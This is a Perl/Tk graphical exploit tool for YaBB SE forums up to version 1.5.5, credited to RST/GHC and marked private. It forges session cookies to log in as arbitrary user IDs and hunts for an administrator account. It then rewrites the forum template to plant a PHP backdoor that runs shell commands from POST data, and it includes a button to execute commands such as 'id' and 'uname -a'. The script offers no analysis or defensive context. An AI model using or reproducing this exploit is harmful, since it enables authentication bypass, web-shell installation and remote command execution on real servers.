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#!/usr/bin/perl
## YaBB SE version <= 1.5.5 commands execution exploit by RST/GHC ## GUI version =))) ## ## THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE ## KEEP IT PRIVATE ## ## (c)oded by 1dt.w0lf ## http://rst.void.ru ## http://ghc.ru
use Tk; use Tk::Menu; use LWP::UserAgent;
$top = MainWindow->new(); $top->title("r57yabbse155ceGUI"); $top->resizable(0,0);
$url = 'http://server/forum/index.php'; $id = '1'; $cookie_name = 'YaBBSE155'; $cmd = 'ls -la; id; uname -a;'; $_button_1_text = 'Found admin ID'; $found_admin_id = \&found_admin_id_start; $stop = 0;
$xpl = LWP::UserAgent->new() or die;
Dialog::ui($top);
Dialog::run() if defined &Dialog::run;
Tk::MainLoop();
sub get_cookie_name() { $_text_1->delete("0.0",'end'); $_text_1->insert('end', "[~] Try get cookie name\n"); $res = $xpl->get($url.'?action=logout&sesc=1','Cookie'=>'PHPSESSID=1'); if(!$res->is_success) { &connect_error(); } else { $cookie = ''; if($res->as_string =~ /Set-Cookie: (.*)=deleted;/) { $cookie = $1; } if($cookie ne '') { $_text_1->insert('end', "[+] COOKIE NAME: ".$cookie."\n"); $cookie_name = $cookie; } else { $_text_1->insert('end', "[-] Can't get cookie name\n"); } } }
sub found_admin_id_stop() { $stop = 1; $_button_1_text = 'Found admin ID'; $found_admin_id = \&found_admin_id_start; }
sub found_admin_id_start() { $_button_1_text = ' Stop '; $found_admin_id = \&found_admin_id_stop; $_text_1->delete("0.0",'end'); $_text_1->insert('end', "[~] Try found admin ID\n"); $success = 0; $error = 0; while(1) { last if $stop; if(&login()){ if(&user_exist()) { if(&user_admin()) { $success = 1; last; } } } if($error) { last; } $id++; } if($success) { $_text_1->insert('end', "[+] ADMIN ID: ".$id."\n"); } $_button_1_text = 'Found admin ID'; $found_admin_id = \&found_admin_id_start; $stop = 0; }
sub create_cookie() { return $cookie_name.'=a%3A2%3A%7Bi%3A0%3Bs%3A'.length($id).'%3A%22'.$id.'%22%3Bi%3A1%3Bb%3A1%3B%7D'; }
sub login() { $_text_1->insert('end', "[~] Try login with USER ID: ".$id."\n"); $top->update(); $res = $xpl->get($url,cookie => &create_cookie); if(!$res->is_success) { $error = 1; &connect_error(); return 0; } else { return 1; } }
sub user_exist() { if($res->as_string =~ /action=profile/) { $_text_1->insert('end', "[+] Successfully logged in\n"); return 1; } else { $_text_1->insert('end', "[-] User with this ID not exists\n"); return 0; } $top->update(); } sub user_admin() { if($res->as_string =~ /action=admin/) { $_text_1->insert('end', "[+] This user have admin rights\n"); return 1; } else { $_text_1->insert('end', "[-] This user don't have admin rights\n"); return 0; } $top->update(); }
sub create_shell() { $_text_1->delete("0.0",'end'); $_text_1->insert('end', "[~] Try create shell\n"); $res = $xpl->get($url.'?action=modtemp',cookie => &create_cookie); if(!$res->is_success) { &connect_error(); } else { $_text_1->insert('end', "[~] Try get & edit template\n"); @data = split(/\n/,$res->content()); $t = $sc = ''; $already = 0; foreach(@data) { if(/input type="hidden" name="sc" value="([^"]*)"/) { $sc = $1; } if(/RST_GHC_TEMPLATE/) { $already = 1; last; } if(/(.*)<\/textarea>/) { $t .= $1."\n"; $p = 0; } $t .= $_."\n" if $p; if(/<textarea[^>]*name="template"[^>]*>(.*)/) { $t .= $1."\n"; $p = 1; } } if($already) { $_text_1->insert('end', "[!] Template already modified\n[+] Skip Template editing\n"); } else { $_text_1->insert('end', "[~] Edit Template\n"); $new_t = '<? if(isset($_POST[\'RSTGHC\'])) { echo "RST_GHC_TEMPLATE"; passthru($_POST[\'RSTGHC\']); echo "RST_GHC_TEMPLATE"; } ?>';
$t =~ s/</</g; $t =~ s/>/>/g; $t =~ s/"/"/g; $t =~ s/&/&/g; $t =~ s/ / /g;
$new_t .= $t;
$res = $xpl->post($url, [ 'action' => 'modtemp2', 'submit' => 'Save', 'template' => $new_t, 'sc' => $sc, ] ,cookie => 'PHPSESSID='.$sc.';'.&create_cookie); } $_text_1->insert('end', "[+] DONE!\n[!] Now you can execute commands\n"); } }
sub execute_command() { $_text_1->delete("0.0",'end'); $_text_1->insert('end',"[~] Try execute command\n"); $res = $xpl->post($url,['RSTGHC'=>$cmd]); if(!$res->is_success) { &connect_error(); } else { @rez = split("RST_GHC_TEMPLATE",$res->content); $_text_1->insert('end',@rez[1]); $_text_1->insert('end',"[+] EOF\n"); } } sub connect_error() { $_text_1->insert('end', "[-] Error: ".$res->status_line."\n"); }
sub Dialog::ui { our($root) = @_;
# Widget Initialization $_frame_6 = $root->Frame( ); $_frame_12 = $root->Frame( ); $_frame_13 = $root->Frame( ); $_label_1 = $root->Label( -font => 'Webdings 24 bold', -text => "!", ); $_label_2 = $root->Label( -activebackground => "#ff0000", -activeforeground => "#ff0000", -font => '{Courier New} 8', -foreground => "#ff0000", -text => "YaBB SE <= 1.5.5 command execution exploit by RST/GHC", ); $_label_5 = $root->Label( -font => '{Courier New} 8', -text => "PATH TO INDEX.PHP:", ); $_label_6 = $root->Label( -font => '{Courier New} 8', -text => "ADMIN ID:", ); $_entry_4 = $root->Entry( -font => '{Courier New} 8', -relief => "groove", -textvariable => \$url, -width => 65, ); $_entry_7 = $root->Entry( -font => '{Courier New} 8', -relief => "groove", -textvariable => \$id, ); our($_entry_8) = $root->Entry( -font => '{Courier New} 8', -relief => "groove", -textvariable => \$cookie_name, ); $_label_8 = $root->Label( -font => '{Courier New} 8', -text => "COOKIE NAME:", ); $_button_2 = $root->Button( -font => '{Courier New} 8', -height => 1, -relief => "groove", -text => "Get cookie name", ); $_button_3 = $root->Button( -font => '{Courier New} 8', -relief => "groove", -text => "Create shell", ); $_label_10 = $root->Label( -font => '{Courier New} 8', -text => "COMMAND FOR EXECUTE:", ); $_button_6 = $root->Button( -font => '{Courier New} 8', -relief => "groove", -text => "Execute command", ); $_entry_11 = $root->Entry( -font => '{Courier New} 8', -relief => "groove", -textvariable => \$cmd, -width => 65, ); $_text_1 = $root->Scrolled ( 'Text' , -scrollbars => 'e' , -wrap => 'word', -font => '{Courier New} 8', -height => 0, -relief => "groove", -width => 0,
); $_button_1 = $root->Button( -font => '{Courier New} 8', -relief => "groove", -textvariable => \$_button_1_text, ); $_label_3 = $root->Label( -anchor => "nw", -compound => "left", -font => '{Courier New} 8', -text => "* 1 default for admin", ); $_label_4 = $root->Label( -anchor => "w", -font => '{Courier New} 8', -justify => "left", -text => "* YaBBSE155 default for version 1.5.5", ); $_label_7 = $root->Label( -font => '{Courier New} 8', -text => "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru", );
# widget commands
$_button_2->configure( -command => \&get_cookie_name ); $_button_3->configure( -command => \&create_shell ); $_button_6->configure( -command => \&execute_command ); $_button_1->configure( -command => \$found_admin_id );
# Geometry Management $_frame_6->grid( -in => $root, -column => 3, -row => 3, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "ew" ); $_frame_12->grid( -in => $root, -column => 1, -row => 3, -columnspan => 2, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "ne" ); $_frame_13->grid( -in => $root, -column => 3, -row => 4, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "" ); $_label_1->grid( -in => $root, -column => 2, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "" ); $_label_2->grid( -in => $root, -column => 3, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "" ); $_label_5->grid( -in => $root, -column => 1, -row => 2, -columnspan => 2, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "ne" ); $_label_6->grid( -in => $_frame_12, -column => 1, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "e" ); $_entry_4->grid( -in => $root, -column => 3, -row => 2, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "w" ); $_entry_7->grid( -in => $_frame_6, -column => 1, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "w" ); $_entry_8->grid( -in => $_frame_6, -column => 1, -row => 2, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "nw" ); $_label_8->grid( -in => $_frame_12, -column => 1, -row => 2, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "se" ); $_button_2->grid( -in => $_frame_13, -column => 1, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "e" ); $_button_3->grid( -in => $_frame_13, -column => 3, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "e" ); $_label_10->grid( -in => $_frame_12, -column => 1, -row => 3, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "se" ); $_button_6->grid( -in => $_frame_13, -column => 4, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "e" ); $_entry_11->grid( -in => $_frame_6, -column => 1, -row => 3, -columnspan => 2, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "nw" ); $_text_1->grid( -in => $root, -column => 1, -row => 5, -columnspan => 3, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "news" ); $_button_1->grid( -in => $_frame_13, -column => 2, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "" ); $_label_3->grid( -in => $_frame_6, -column => 2, -row => 1, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "ew" ); $_label_4->grid( -in => $_frame_6, -column => 2, -row => 2, -columnspan => 1, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "ew" ); $_label_7->grid( -in => $root, -column => 1, -row => 6, -columnspan => 3, -ipadx => 0, -ipady => 0, -padx => 0, -pady => 0, -rowspan => 1, -sticky => "nw" );
# Resize Behavior $root->gridRowconfigure(1, -weight => 0, -minsize => 40, -pad => 0); $root->gridRowconfigure(2, -weight => 0, -minsize => 12, -pad => 0); $root->gridRowconfigure(3, -weight => 0, -minsize => 2, -pad => 0); $root->gridRowconfigure(4, -weight => 0, -minsize => 40, -pad => 0); $root->gridRowconfigure(5, -weight => 1, -minsize => 250, -pad => 0); $root->gridRowconfigure(6, -weight => 0, -minsize => 27, -pad => 0); $root->gridColumnconfigure(1, -weight => 0, -minsize => 5, -pad => 0); $root->gridColumnconfigure(2, -weight => 1, -minsize => 54, -pad => 0); $root->gridColumnconfigure(3, -weight => 0, -minsize => 112, -pad => 0); $_frame_12->gridRowconfigure(1, -weight => 0, -minsize => 2, -pad => 0); $_frame_12->gridRowconfigure(2, -weight => 0, -minsize => 2, -pad => 0); $_frame_12->gridRowconfigure(3, -weight => 0, -minsize => 2, -pad => 0); $_frame_12->gridColumnconfigure(1, -weight => 0, -minsize => 40, -pad => 0); $_frame_13->gridRowconfigure(1, -weight => 0, -minsize => 2, -pad => 0); $_frame_13->gridColumnconfigure(1, -weight => 0, -minsize => 5, -pad => 0); $_frame_13->gridColumnconfigure(2, -weight => 0, -minsize => 40, -pad => 0); $_frame_13->gridColumnconfigure(3, -weight => 0, -minsize => 40, -pad => 0); $_frame_13->gridColumnconfigure(4, -weight => 0, -minsize => 40, -pad => 0); $_frame_6->gridRowconfigure(1, -weight => 0, -minsize => 2, -pad => 0); $_frame_6->gridRowconfigure(2, -weight => 0, -minsize => 11, -pad => 0); $_frame_6->gridRowconfigure(3, -weight => 0, -minsize => 2, -pad => 0); $_frame_6->gridColumnconfigure(1, -weight => 0, -minsize => 2, -pad => 0); $_frame_6->gridColumnconfigure(2, -weight => 1, -minsize => 54, -pad => 0); }
1;
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